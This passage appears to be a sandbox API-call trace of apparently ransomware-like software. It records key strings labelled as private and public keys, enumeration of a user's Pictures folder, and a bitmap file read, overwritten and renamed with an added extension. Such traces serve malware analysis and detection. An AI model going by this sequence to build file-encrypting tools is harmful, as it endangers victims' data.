OoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24d21ec, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.498] GetCurrentThreadId () returned 0xab4 [0153.498] GetCurrentThreadId () returned 0xab4 [0153.498] GetCurrentThreadId () returned 0xab4 [0153.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24e324c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.499] GetCurrentThreadId () returned 0xab4 [0153.500] GetCurrentThreadId () returned 0xab4 [0153.500] GetCurrentThreadId () returned 0xab4 [0153.500] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\-1TC27W511TZ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\-1tc27w511tz.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.500] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0153.500] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.500] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x2544 [0153.500] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.500] ReadFile (in: hFile=0x2f8, lpBuffer=0x24eb050, nNumberOfBytesToRead=0x2544, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24eb050*, lpNumberOfBytesRead=0x19f74c*=0x2544, lpOverlapped=0x0) returned 1 [0153.501] CloseHandle (hObject=0x2f8) returned 1 [0153.502] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\-1TC27W511TZ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\-1tc27w511tz.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.503] WriteFile (in: hFile=0x2f8, lpBuffer=0x24ef080*, nNumberOfBytesToWrite=0x2544, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24ef080*, lpNumberOfBytesWritten=0x19f758*=0x2544, lpOverlapped=0x0) returned 1 [0153.504] CloseHandle (hObject=0x2f8) returned 1 [0153.506] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\-1TC27W511TZ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\-1tc27w511tz.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\-1TC27W511TZ.bmp.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\-1tc27w511tz.bmp.mz173801")) returned 1 [0153.507] GetCurrentThreadId () returned 0xab4 [0153.507] GetCurrentThreadId () returned 0xab4 [0153.507] GetCurrentThreadId () returned 0xab4 [0153.507] GetCurrentThreadId () returned 0xab4 [0153.507] GetCurrentThreadId () returned 0xab4 [0153.507] GetCurrentThreadId () returned 0xab4 [0153.507] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb729b880, ftCreationTime.dwHighDateTime=0x1d5ea47, ftLastAccessTime.dwLowDateTime=0x90ef1520, ftLastAccessTime.dwHighDateTime=0x1d5e92f, ftLastWriteTime.dwLowDateTime=0x90ef1520, ftLastWriteTime.dwHighDateTime=0x1d5e92f, nFileSizeHigh=0x0, nFileSizeLow=0x88c6, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="1yb8XS7Sv411u.bmp", cAlternateFileName="1YB8XS~1.BMP")) returned 1 [0153.507] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.507] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.507] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\1yb8XS7Sv411u.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\1yb8xs7sv411u.bmp"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb729b880, ftCreationTime.dwHighDateTime=0x1d5ea47, ftLastAccessTime.dwLowDateTime=0x90ef1520, ftLastAccessTime.dwHighDateTime=0x1d5e92f, ftLastWriteTime.dwLowDateTime=0x90ef1520, ftLastWriteTime.dwHighDateTime=0x1d5e92f, nFileSizeHigh=0x0, nFileSizeLow=0x88c6)) returned 1 [0153.507] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\1yb8XS7Sv411u.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\1yb8xs7sv411u.bmp")) returned 0x20 [0153.507] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\1yb8XS7Sv411u.bmp", dwFileAttributes=0x80) returned 1 [0153.509] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4